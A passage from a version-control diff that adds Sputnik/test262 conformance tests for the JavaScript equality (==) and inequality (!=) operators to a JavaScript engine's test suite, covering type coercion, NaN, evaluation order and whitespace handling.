+//CHECK#2
+if ((new Number(1) == new Number(1)) !== false) {
+ $ERROR('#2: (new Number(1) == new Number(1)) === false');
+}
+
+//CHECK#3
+if ((new String("x") == new String("x")) !== false) {
+ $ERROR('#3: (new String("x") == new String("x")) === false');
+}
+
+//CHECK#4
+if ((new Object() == new Object()) !== false) {
+ $ERROR('#4: (new Object() == new Object()) === false');
+}
+
+//CHECK#5
+x = {};
+y = x;
+if ((x == y) !== true) {
+ $ERROR('#5: x = {}; y = x; (x == y) === true');
+}
+
+//CHECK#6
+if ((new Boolean(true) == new Number(1)) !== false) {
+ $ERROR('#6 (new Boolean(true) == new Number(1)) === false');
+}
+
+//CHECK#7
+if ((new Number(1) == new String("1")) !== false) {
+ $ERROR('#7: (new Number(1) == new String("1")) === false');
+}
+
+//CHECK#8
+if ((new String("1") == new Boolean(true)) !== false) {
+ $ERROR('#8: (new String("x") == new Boolean(true)) === false');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A7.2.js b/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A7.2.js
new file mode 100644
index 000000000..5704688ae
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A7.2.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(x) is Object and Type(y) is Boolean,
+ * return ToPrimitive(x) == y
+ *
+ * @path ch11/11.9/11.9.1/S11.9.1_A7.2.js
+ * @description x is object, y is primitive boolean
+ */
+
+//CHECK#1
+if ((new Boolean(true) == true) !== true) {
+ $ERROR('#1: (new Boolean(true) == true) === true');
+}
+
+//CHECK#2
+if ((new Number(1) == true) !== true) {
+ $ERROR('#2: (new Number(1) == true) === true');
+}
+
+//CHECK#3
+if ((new String("1") == true) !== true) {
+ $ERROR('#3: (new String("1") == true) === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A7.3.js b/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A7.3.js
new file mode 100644
index 000000000..c0c89cea0
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A7.3.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(x) is Boolean and Type(y) is Object,
+ * return x == ToPrimitive(y)
+ *
+ * @path ch11/11.9/11.9.1/S11.9.1_A7.3.js
+ * @description y is object, x is primitive boolean
+ */
+
+//CHECK#1
+if ((true == new Boolean(true)) !== true) {
+ $ERROR('#1: (true == new Boolean(true)) === true');
+}
+
+//CHECK#2
+if ((true == new Number(1)) !== true) {
+ $ERROR('#2: (true == new Number(1)) === true');
+}
+
+//CHECK#3
+if ((true == new String("+1")) !== true) {
+ $ERROR('#3: (true == new String("+1")) === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A7.4.js b/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A7.4.js
new file mode 100644
index 000000000..65ce2df60
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A7.4.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(x) is Object and Type(y) is Number,
+ * return ToPrimitive(x) == y
+ *
+ * @path ch11/11.9/11.9.1/S11.9.1_A7.4.js
+ * @description x is object, y is primitive number
+ */
+
+//CHECK#1
+if ((new Boolean(true) == 1) !== true) {
+ $ERROR('#1: (new Boolean(true) == 1) === true');
+}
+
+//CHECK#2
+if ((new Number(-1) == -1) !== true) {
+ $ERROR('#2: (new Number(-1) == -1) === true');
+}
+
+//CHECK#3
+if ((new String("-1") == -1) !== true) {
+ $ERROR('#3: (new String("-1") == -1) === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A7.5.js b/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A7.5.js
new file mode 100644
index 000000000..87cbe6eed
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A7.5.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(x) is Number and Type(y) is Object,
+ * return x == ToPrimitive(y)
+ *
+ * @path ch11/11.9/11.9.1/S11.9.1_A7.5.js
+ * @description y is object, x is primitive number
+ */
+
+//CHECK#1
+if ((1 == new Boolean(true)) !== true) {
+ $ERROR('#1: (1 == new Boolean(true)) === true');
+}
+
+//CHECK#2
+if ((-1 == new Number(-1)) !== true) {
+ $ERROR('#2: (-1 == new Number(-1)) === true');
+}
+
+//CHECK#3
+if ((-1 == new String("-1")) !== true) {
+ $ERROR('#3: (-1 == new String("-1")) === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A7.6.js b/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A7.6.js
new file mode 100644
index 000000000..986f66b90
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A7.6.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(x) is Object and Type(y) is String,
+ * return ToPrimitive(x) == y
+ *
+ * @path ch11/11.9/11.9.1/S11.9.1_A7.6.js
+ * @description x is object, y is primitive string
+ */
+
+//CHECK#1
+if ((new Boolean(true) == "1") !== true) {
+ $ERROR('#1: (new Boolean(true) == "1") === true');
+}
+
+//CHECK#2
+if ((new Number(-1) == "-1") !== true) {
+ $ERROR('#2: (new Number(-1) == "-1") === true');
+}
+
+//CHECK#3
+if ((new String("x") == "x") !== true) {
+ $ERROR('#3: (new String("x") == "x") === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A7.7.js b/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A7.7.js
new file mode 100644
index 000000000..4d8412d30
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A7.7.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(x) is String and Type(y) is Object,
+ * return x == ToPrimitive(y)
+ *
+ * @path ch11/11.9/11.9.1/S11.9.1_A7.7.js
+ * @description y is object, x is primitive string
+ */
+
+//CHECK#1
+if (("1" == new Boolean(true)) !== true) {
+ $ERROR('#1: ("1" == new Boolean(true)) === true');
+}
+
+//CHECK#2
+if (("-1" == new Number(-1)) !== true) {
+ $ERROR('#2: ("-1" == new Number(-1)) === true');
+}
+
+//CHECK#3
+if (("x" == new String("x")) !== true) {
+ $ERROR('#3: ("x" == new String("x")) === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A7.8.js b/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A7.8.js
new file mode 100644
index 000000000..9aa54434e
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A7.8.js
@@ -0,0 +1,76 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(x) is Object and Type(y) is primitive type,
+ * return ToPrimitive(x) == y
+ *
+ * @path ch11/11.9/11.9.1/S11.9.1_A7.8.js
+ * @description x is object, y is primtitive
+ */
+
+//CHECK#1
+if (({valueOf: function() {return 1}} == true) !== true) {
+ $ERROR('#1: ({valueOf: function() {return 1}} == true) === true');
+}
+
+//CHECK#2
+if (({valueOf: function() {return 1}, toString: function() {return 0}} == 1) !== true) {
+ $ERROR('#2: ({valueOf: function() {return 1}, toString: function() {return 0}} == 1) === true');
+}
+
+//CHECK#3
+if (({valueOf: function() {return 1}, toString: function() {return {}}} == "+1") !== true) {
+ $ERROR('#3: ({valueOf: function() {return 1}, toString: function() {return {}}} == "+1") === true');
+}
+
+//CHECK#4
+try {
+ if (({valueOf: function() {return "+1"}, toString: function() {throw "error"}} == true) !== true) {
+ $ERROR('#4.1: ({valueOf: function() {return "+1"}, toString: function() {throw "error"}} == true) === true');
+ }
+}
+catch (e) {
+ if (e === "error") {
+ $ERROR('#4.2: ({valueOf: function() {return "+1"}, toString: function() {throw "error"}} == true) not throw "error"');
+ } else {
+ $ERROR('#4.3: ({valueOf: function() {return "+1"}, toString: function() {throw "error"}} == true) not throw Error. Actual: ' + (e));
+ }
+}
+
+//CHECK#5
+if (({toString: function() {return "+1"}} == 1) !== true) {
+ $ERROR('#5: ({toString: function() {return "+1"}} == 1) === true');
+}
+
+//CHECK#6
+if (({valueOf: function() {return {}}, toString: function() {return "+1"}} == "1") !== false) {
+ $ERROR('#6.1: ({valueOf: function() {return {}}, toString: function() {return "+1"}} == "1") === false');
+} else {
+ if (({valueOf: function() {return {}}, toString: function() {return "+1"}} == "+1") !== true) {
+ $ERROR('#6.2: ({valueOf: function() {return {}}, toString: function() {return "+1"}} == "+1") === true');
+ }
+}
+
+//CHECK#7
+try {
+ ({valueOf: function() {throw "error"}, toString: function() {return 1}} == 1);
+ $ERROR('#7.1: ({valueOf: function() {throw "error"}, toString: function() {return 1}} == 1) throw "error". Actual: ' + (({valueOf: function() {throw "error"}, toString: function() {return 1}} == 1)));
+}
+catch (e) {
+ if (e !== "error") {
+ $ERROR('#7.2: ({valueOf: function() {throw "error"}, toString: function() {return 1}} == 1) throw "error". Actual: ' + (e));
+ }
+}
+
+//CHECK#8
+try {
+ ({valueOf: function() {return {}}, toString: function() {return {}}} == 1);
+ $ERROR('#8.1: ({valueOf: function() {return {}}, toString: function() {return {}}} == 1) throw TypeError. Actual: ' + (({valueOf: function() {return {}}, toString: function() {return {}}} == 1)));
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#8.2: ({valueOf: function() {return {}}, toString: function() {return {}}} == 1) throw TypeError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A7.9.js b/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A7.9.js
new file mode 100644
index 000000000..ba4d0f38d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.1/S11.9.1_A7.9.js
@@ -0,0 +1,76 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(x) is primitive type and Type(y) is Object,
+ * return x == ToPrimitive(y)
+ *
+ * @path ch11/11.9/11.9.1/S11.9.1_A7.9.js
+ * @description y is object, x is primtitive
+ */
+
+//CHECK#1
+if ((true == {valueOf: function() {return 1}}) !== true) {
+ $ERROR('#1: (true == {valueOf: function() {return 1}}) === true');
+}
+
+//CHECK#2
+if ((1 == {valueOf: function() {return 1}, toString: function() {return 0}}) !== true) {
+ $ERROR('#2: (1 == {valueOf: function() {return 1}, toString: function() {return 0}}) === true');
+}
+
+//CHECK#3
+if (("+1" == {valueOf: function() {return 1}, toString: function() {return {}}}) !== true) {
+ $ERROR('#3: ("+1" == {valueOf: function() {return 1}, toString: function() {return {}}}) === true');
+}
+
+//CHECK#4
+try {
+ if ((true == {valueOf: function() {return "+1"}, toString: function() {throw "error"}}) !== true) {
+ $ERROR('#4.1: (true == {valueOf: function() {return "+1"}, toString: function() {throw "error"}}) === true');
+ }
+}
+catch (e) {
+ if (e === "error") {
+ $ERROR('#4.2: (true == {valueOf: function() {return "+1"}, toString: function() {throw "error"}}) not throw "error"');
+ } else {
+ $ERROR('#4.3: (true == {valueOf: function() {return "+1"}, toString: function() {throw "error"}}) not throw Error. Actual: ' + (e));
+ }
+}
+
+//CHECK#5
+if ((1 == {toString: function() {return "+1"}}) !== true) {
+ $ERROR('#5: (1 == {toString: function() {return "+1"}}) === true');
+}
+
+//CHECK#6
+if (("1" == {valueOf: function() {return {}}, toString: function() {return "+1"}}) !== false) {
+ $ERROR('#6.1: ("1" == {valueOf: function() {return {}}, toString: function() {return "+1"}}) === false');
+} else {
+ if (("+1" == {valueOf: function() {return {}}, toString: function() {return "+1"}}) !== true) {
+ $ERROR('#6.2: ("+1" == {valueOf: function() {return {}}, toString: function() {return "+1"}}) === true');
+ }
+}
+
+//CHECK#7
+try {
+ (1 == {valueOf: function() {throw "error"}, toString: function() {return 1}});
+ $ERROR('#7.1: (1 == {valueOf: function() {throw "error"}, toString: function() {return 1}}) throw "error". Actual: ' + ((1 == {valueOf: function() {throw "error"}, toString: function() {return 1}})));
+}
+catch (e) {
+ if (e !== "error") {
+ $ERROR('#7.2: (1 == {valueOf: function() {throw "error"}, toString: function() {return 1}}) throw "error". Actual: ' + (e));
+ }
+}
+
+//CHECK#8
+try {
+ (1 == {valueOf: function() {return {}}, toString: function() {return {}}});
+ $ERROR('#8.1: (1 == {valueOf: function() {return {}}, toString: function() {return {}}}) throw TypeError. Actual: ' + ((1 == {valueOf: function() {return {}}, toString: function() {return {}}})));
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#8.2: (1 == {valueOf: function() {return {}}, toString: function() {return {}}}) throw TypeError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.1/browser.js b/js/src/tests/test262/ch11/11.9/11.9.1/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.1/browser.js
diff --git a/js/src/tests/test262/ch11/11.9/11.9.1/shell.js b/js/src/tests/test262/ch11/11.9/11.9.1/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.1/shell.js
diff --git a/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A1.js b/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A1.js
new file mode 100644
index 000000000..5478e2d8c
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A1.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * White Space and Line Terminator between EqualityExpression and "!=" or between "!=" and RelationalExpression are allowed
+ *
+ * @path ch11/11.9/11.9.2/S11.9.2_A1.js
+ * @description Checking by using eval
+ */
+
+//CHECK#1
+if (eval("true\u0009!=\u00091") !== false) {
+ $ERROR('#1: (true\\u0009!=\\u00091) === false');
+}
+
+//CHECK#2
+if (eval("true\u000B!=\u000B1") !== false) {
+ $ERROR('#2: (true\\u000B!=\\u000B1) === false');
+}
+
+//CHECK#3
+if (eval("true\u000C!=\u000C1") !== false) {
+ $ERROR('#3: (true\\u000C!=\\u000C1) === false');
+}
+
+//CHECK#4
+if (eval("true\u0020!=\u00201") !== false) {
+ $ERROR('#4: (true\\u0020!=\\u00201) === false');
+}
+
+//CHECK#5
+if (eval("true\u00A0!=\u00A01") !== false) {
+ $ERROR('#5: (true\\u00A0!=\\u00A01) === false');
+}
+
+//CHECK#6
+if (eval("true\u000A!=\u000A1") !== false) {
+ $ERROR('#6: (true\\u000A!=\\u000A1) === false');
+}
+
+//CHECK#7
+if (eval("true\u000D!=\u000D1") !== false) {
+ $ERROR('#7: (true\\u000D!=\\u000D1) === false');
+}
+
+//CHECK#8
+if (eval("true\u2028!=\u20281") !== false) {
+ $ERROR('#8: (true\\u2028!=\\u20281) === false');
+}
+
+//CHECK#9
+if (eval("true\u2029!=\u20291") !== false) {
+ $ERROR('#9: (true\\u2029!=\\u20291) === false');
+}
+
+//CHECK#10
+if (eval("true\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u2029!=\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u20291") !== false) {
+ $ERROR('#10: (true\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029!=\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u20291) === false');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A2.1_T1.js b/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A2.1_T1.js
new file mode 100644
index 000000000..12b5bbe42
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A2.1_T1.js
@@ -0,0 +1,43 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x != y uses GetValue
+ *
+ * @path ch11/11.9/11.9.2/S11.9.2_A2.1_T1.js
+ * @description Either Type is not Reference or GetBase is not null
+ */
+
+//CHECK#1
+if ((1 != 1) !== false) {
+ $ERROR('#1: (1 != 1) === false');
+}
+
+//CHECK#2
+var x = 1;
+if ((x != 1) !== false) {
+ $ERROR('#2: var x = 1; (x != 1) === false');
+}
+
+//CHECK#3
+var y = 1;
+if ((1 != y) !== false) {
+ $ERROR('#3: var y = 1; (1 != y) === false');
+}
+
+//CHECK#4
+var x = 1;
+var y = 1;
+if ((x != y) !== false) {
+ $ERROR('#4: var x = 1; var y = 1; (x != y) === false');
+}
+
+//CHECK#5
+var objectx = new Object();
+var objecty = new Object();
+objectx.prop = 1;
+objecty.prop = 1;
+if ((objectx.prop != objecty.prop) !== false) {
+ $ERROR('#5: var objectx = new Object(); var objecty = new Object(); objectx.prop = 1; objecty.prop = 1; (objectx.prop != objecty.prop) === false');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A2.1_T2.js b/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A2.1_T2.js
new file mode 100644
index 000000000..aaf6f6a8c
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A2.1_T2.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x != y uses GetValue
+ *
+ * @path ch11/11.9/11.9.2/S11.9.2_A2.1_T2.js
+ * @description If GetBase(x) is null, throw ReferenceError
+ */
+
+//CHECK#1
+try {
+ x != 1;
+ $ERROR('#1.1: x != 1 throw ReferenceError. Actual: ' + (x != 1));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: x != 1 throw ReferenceError. Actual: ' + (e));
+ }
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A2.1_T3.js b/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A2.1_T3.js
new file mode 100644
index 000000000..f8e65a173
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A2.1_T3.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x != y uses GetValue
+ *
+ * @path ch11/11.9/11.9.2/S11.9.2_A2.1_T3.js
+ * @description If GetBase(y) is null, throw ReferenceError
+ */
+
+//CHECK#1
+try {
+ 1 != y;
+ $ERROR('#1: 1 != y throw ReferenceError');
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: 1 != y throw ReferenceError. Actual: ' + (e));
+ }
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A2.4_T1.js b/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A2.4_T1.js
new file mode 100644
index 000000000..5cb029e4f
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A2.4_T1.js
@@ -0,0 +1,23 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.9/11.9.2/S11.9.2_A2.4_T1.js
+ * @description Checking with "="
+ */
+
+//CHECK#1
+var x = 0;
+if (((x = 1) != x) !== false) {
+ $ERROR('#1: var x = 0; ((x = 1) != x) === false');
+}
+
+//CHECK#2
+var x = 0;
+if ((x != (x = 1)) !== true) {
+ $ERROR('#2: var x = 0; (x != (x = 1)) === true');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A2.4_T2.js b/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A2.4_T2.js
new file mode 100644
index 000000000..6570ee33b
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A2.4_T2.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.9/11.9.2/S11.9.2_A2.4_T2.js
+ * @description Checking with "throw"
+ */
+
+//CHECK#1
+var x = function () { throw "x"; };
+var y = function () { throw "y"; };
+try {
+ x() != y();
+ $ERROR('#1.1: var x = function () { throw "x"; }; var y = function () { throw "y"; }; x() != y() throw "x". Actual: ' + (x() != y()));
+} catch (e) {
+ if (e === "y") {
+ $ERROR('#1.2: First expression is evaluated first, and then second expression');
+ } else {
+ if (e !== "x") {
+ $ERROR('#1.3: var x = function () { throw "x"; }; var y = function () { throw "y"; }; x() != y() throw "x". Actual: ' + (e));
+ }
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A2.4_T3.js b/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A2.4_T3.js
new file mode 100644
index 000000000..93cde317e
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A2.4_T3.js
@@ -0,0 +1,27 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.9/11.9.2/S11.9.2_A2.4_T3.js
+ * @description Checking with undeclarated variables
+ */
+
+//CHECK#1
+try {
+ x != (x = 1);
+ $ERROR('#1.1: x != (x = 1) throw ReferenceError. Actual: ' + (x != (x = 1)));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: x != (x = 1) throw ReferenceError. Actual: ' + (e));
+ }
+}
+
+//CHECK#2
+if (((y = 1) != y) !== false) {
+ $ERROR('#2: ((y = 1) != y) === false');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A3.1.js b/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A3.1.js
new file mode 100644
index 000000000..79921a295
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A3.1.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Return false, if x and y are both true or both false; otherwise, return true
+ *
+ * @path ch11/11.9/11.9.2/S11.9.2_A3.1.js
+ * @description x and y are boolean primitives
+ */
+
+//CHECK#1
+if ((true != true) !== false) {
+ $ERROR('#1: (true != true) === false');
+}
+
+//CHECK#2
+if ((false != false) !== false) {
+ $ERROR('#2: (false != false) === false');
+}
+
+//CHECK#3
+if ((true != false) !== true) {
+ $ERROR('#3: (true != false) === true');
+}
+
+//CHECK#4
+if ((false != true) !== true) {
+ $ERROR('#4: (false != true) === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A3.2.js b/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A3.2.js
new file mode 100644
index 000000000..ff0f9c832
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A3.2.js
@@ -0,0 +1,32 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(x) is Boolean and Type(y) is Number,
+ * return the result of comparison ToNumber(x) != y
+ *
+ * @path ch11/11.9/11.9.2/S11.9.2_A3.2.js
+ * @description x is primitive boolean, y is primitive number
+ */
+
+//CHECK#1
+if ((true != 1) !== false) {
+ $ERROR('#1: (true != 1) === false');
+}
+
+//CHECK#2
+if ((false != "0") !== false) {
+ $ERROR('#2: (false != "0") === false');
+}
+
+//CHECK#3
+if ((true != new Boolean(true)) !== false) {
+ $ERROR('#3: (true != new Boolean(true)) === false');
+}
+
+//CHECK#4
+if ((true != {valueOf: function () {return 1}}) !== false) {
+ $ERROR('#4: (true != {valueOf: function () {return 1}}) === false');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A3.3.js b/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A3.3.js
new file mode 100644
index 000000000..b32bf7fbd
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A3.3.js
@@ -0,0 +1,31 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(y) is Number and Type(y) is Boolean,
+ * return the result of comparison x != ToNumber(y)
+ *
+ * @path ch11/11.9/11.9.2/S11.9.2_A3.3.js
+ * @description x is primitive number, y is primitive boolean
+ */
+
+//CHECK#1
+if ((0 != false) !== false) {
+ $ERROR('#1: (0 != false) === false');
+}
+
+//CHECK#2
+if (("1" != true) !== false) {
+ $ERROR('#2: ("1" != true) === false');
+}
+
+//CHECK#3
+if ((new Boolean(false) != false) !== false) {
+ $ERROR('#3: (new Boolean(false) != false) === false');
+}
+
+//CHECK#4
+if (({valueOf: function () {return "0"}} != false) !== false) {
+ $ERROR('#4: ({valueOf: function () {return "0"}} != false) === false');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A4.1_T1.js b/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A4.1_T1.js
new file mode 100644
index 000000000..98b9d074b
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A4.1_T1.js
@@ -0,0 +1,56 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If x or y is NaN, return true
+ *
+ * @path ch11/11.9/11.9.2/S11.9.2_A4.1_T1.js
+ * @description x is NaN
+ */
+
+//CHECK#1
+if ((Number.NaN != true) !== true) {
+ $ERROR('#1: (NaN != true) === true');
+}
+
+//CHECK#2
+if ((Number.NaN != 1) !== true) {
+ $ERROR('#2: (NaN != 1) === true');
+}
+
+//CHECK#3
+if ((Number.NaN != Number.NaN) !== true) {
+ $ERROR('#3: (NaN != NaN) === true');
+}
+
+//CHECK#4
+if ((Number.NaN != Number.POSITIVE_INFINITY) !== true) {
+ $ERROR('#4: (NaN != +Infinity) === true');
+}
+
+//CHECK#5
+if ((Number.NaN != Number.NEGATIVE_INFINITY) !== true) {
+ $ERROR('#5: (NaN != -Infinity) === true');
+}
+
+//CHECK#6
+if ((Number.NaN != Number.MAX_VALUE) !== true) {
+ $ERROR('#6: (NaN != Number.MAX_VALUE) === true');
+}
+
+//CHECK#7
+if ((Number.NaN != Number.MIN_VALUE) !== true) {
+ $ERROR('#7: (NaN != Number.MIN_VALUE) === true');
+}
+
+//CHECK#8
+if ((Number.NaN != "string") !== true) {
+ $ERROR('#8: (NaN != "string") === true');
+}
+
+//CHECK#9
+if ((Number.NaN != new Object()) !== true) {
+ $ERROR('#9: (NaN != new Object()) === true');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A4.1_T2.js b/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A4.1_T2.js
new file mode 100644
index 000000000..471bcb6f6
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A4.1_T2.js
@@ -0,0 +1,55 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If x or y is NaN, return true
+ *
+ * @path ch11/11.9/11.9.2/S11.9.2_A4.1_T2.js
+ * @description y is NaN
+ */
+
+//CHECK#1
+if ((true != Number.NaN) !== true) {
+ $ERROR('#1: (true != NaN) === true');
+}
+
+//CHECK#2
+if ((-1 != Number.NaN) !== true) {
+ $ERROR('#2: (-1 != NaN) === true');
+}
+
+//CHECK#3
+if ((Number.NaN != Number.NaN) !== true) {
+ $ERROR('#3: (NaN != NaN) === true');
+}
+
+//CHECK#4
+if ((Number.POSITIVE_INFINITY != Number.NaN) !== true) {
+ $ERROR('#4: (+Infinity != NaN) === true');
+}
+
+//CHECK#5
+if ((Number.NEGATIVE_INFINITY != Number.NaN) !== true) {
+ $ERROR('#5: (-Infinity != NaN) === true');
+}
+
+//CHECK#6
+if ((Number.MAX_VALUE != Number.NaN) !== true) {
+ $ERROR('#6: (Number.MAX_VALUE != NaN) === true');
+}
+
+//CHECK#7
+if ((Number.MIN_VALUE != Number.NaN) !== true) {
+ $ERROR('#7: (Number.MIN_VALUE != NaN) === true');
+}
+
+//CHECK#8
+if (("string" != Number.NaN) !== true) {
+ $ERROR('#8: ("string" != NaN) === true');
+}
+
+//CHECK#9
+if ((new Object() != Number.NaN) !== true) {
+ $ERROR('#9: (new Object() != NaN) === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A4.2.js b/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A4.2.js
new file mode 100644
index 000000000..b8045a6a0
--- /dev/null
